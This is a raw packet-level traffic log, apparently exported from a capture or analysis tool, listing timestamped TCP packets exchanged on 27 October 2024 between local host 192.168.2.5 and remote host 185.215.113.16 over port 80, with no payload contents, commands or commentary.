Oct 27, 2024 17:17:27.290076971 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290081024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290112019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290142059 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290144920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290173054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290205002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290206909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290239096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290267944 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290287018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290319920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290347099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290365934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290400028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290435076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290468931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290496111 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290501118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290533066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290564060 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.290565968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290597916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.290637970 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.314493895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.314527988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.314559937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.314596891 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.314714909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.317790985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.317840099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.317873955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.317905903 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.317907095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.317940950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.317971945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.319078922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319152117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319180965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319214106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319247007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.319247007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.319366932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319401026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319434881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319479942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.319484949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319514990 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.319520950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.319649935 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.351727962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.351773977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.351809978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.351866007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.351902008 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.351902008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.352078915 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.390882969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.390916109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.390942097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.390971899 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391299963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391339064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391366959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391396046 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391467094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391499043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391520977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391541958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391547918 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391568899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391593933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391604900 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391616106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391638041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391644001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391659975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391712904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391732931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391761065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391767025 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391794920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391815901 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391822100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391839027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391865969 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391871929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391894102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391917944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391920090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.391940117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.391966105 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393106937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393141031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393162012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393224001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393224001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393225908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393246889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393277884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393300056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393326044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393332958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393353939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393362999 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393377066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393398046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393404007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393419981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393455029 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393481016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393486977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393507004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393516064 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393528938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393552065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393563032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393573046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393594027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393615961 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.393646955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.393646955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394373894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394395113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394428015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394448996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394455910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394480944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394501925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394509077 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394524097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394529104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394545078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394567966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394572973 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394589901 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394613028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394615889 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.394634962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.394664049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424175024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424228907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424263000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424313068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424348116 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424365044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424403906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424433947 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424452066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424487114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424518108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424549103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424551964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424583912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424612045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424632072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424664021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424694061 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424700975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424730062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424734116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424770117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424802065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424803019 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424835920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424869061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424902916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424921036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.424937963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.424971104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.425005913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.425035000 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.425194025 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.431989908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.432024956 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.432061911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.432096004 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.435107946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435162067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435194016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.435213089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435245037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435276031 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.435278893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435311079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.435357094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.436398029 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436450958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436455965 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.436480045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436512947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436543941 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.436549902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436611891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436674118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436703920 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.436707020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436741114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436769962 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.436774015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.436803102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.469176054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.469216108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.469233990 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.469238043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.469254017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.469269991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.469275951 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.469458103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.508502007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508550882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508589029 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508608103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.508620977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508660078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508690119 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.508754015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508807898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508841038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508872986 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.508874893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.508907080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.508987904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509037018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509089947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509119987 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509138107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509171009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509202003 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509221077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509253979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509284973 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509301901 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509334087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509365082 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509366035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509402037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509418964 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509433985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509464979 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509466887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509499073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509526968 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.509533882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509567022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.509598017 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510413885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510442972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510493040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510525942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510541916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510570049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510592937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510626078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510656118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510674953 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510724068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510756969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510791063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510824919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510885000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510915995 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510915995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510946035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.510948896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.510982037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511012077 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511014938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511046886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511079073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511102915 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511106968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511141062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511142969 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511192083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511224985 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511243105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511276007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511307955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511362076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511379957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511394978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511429071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511457920 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511653900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511708975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511740923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511759043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511809111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511832952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511857986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511908054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511939049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.511941910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.511970997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512000084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.512002945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512036085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512063980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512068987 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.512094975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512126923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.512128115 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.515384912 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.541775942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.541826963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.541861057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.541883945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.541909933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.541944027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.541992903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542026043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542058945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542057037 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542109966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542143106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542159081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542191982 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542222977 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542226076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542275906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542305946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542310953 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542340040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542371035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542372942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542408943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542442083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542474985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542500973 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542507887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542535067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542583942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542618036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542651892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542651892 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542651892 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.542686939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542721033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.542807102 CET	49714	80	192.168.2.5	185.215.113.16
